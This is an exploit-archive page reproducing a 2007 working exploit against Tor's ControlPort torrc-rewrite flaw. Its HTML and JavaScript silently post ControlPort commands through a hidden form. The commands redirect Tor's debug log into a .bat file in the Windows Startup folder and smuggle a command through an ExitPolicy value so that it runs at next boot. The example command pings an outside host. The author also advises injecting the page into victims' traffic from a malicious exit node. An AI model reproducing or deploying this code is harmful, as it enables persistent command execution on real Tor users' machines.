Home / exploitsPDF  

tor01216-rewrite.txt

Posted on 30 September 2007

<!--

Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability http://secunia.com/advisories/26301

Rewrites the torrc to log to a different location: C:Documents and SettingsAll UsersStart MenuProgramsStartup	.bat
Also enables debug logging, and an erroneous ExitPolicy looking something like this: reject*:1337'&' calc.exe  this will output:
[debug] parse_addr_policy(): Adding new entry 'reject*:1337'& calc.exe to the debug log -> t.bat which will run calc.exe on next boot.

This is not very silent though, t.bat will contain something like 45 rows of crap which the user will see in about 1 sec, drop me a mail if you have a better way.

Either have a TOR user visit this HTML or inject it into her traffic when you're a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> ( that's why I tried to fit everything inside <HEAD />), and fix Content-Length

// elgCrew _AT_ safe-mail.net
-->

<html>
<head>
<script language="javascript">

window.onload = function()
{

cmd = 'cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > NUL & del t.bat > NUL & exit';
inject = '
AUTHENTICATE
SETCONF Log="debug-debug file C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\t.bat"
SAVECONF
SIGNAL RELOAD
SETCONF ExitPolicy="reject*:1337\'&' + cmd + '&"
SETCONF Log="info file c:\\tor.txt"
SAVECONF
SIGNAL RELOAD
';

form51.area51.value = inject;
document.form51.submit();
}
</script>

<form target="hiddenframe" name="form51" action="http://localhost.mil.se:9051" method=POST enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>

<body>
<pre>
----
| y0! |
----
  \_\_    _/_/
     (oo)\_______
|_|        )*
||----w |
||     ||
</pre>
</body>
</html>

 

TOP

Malware :

Exploits :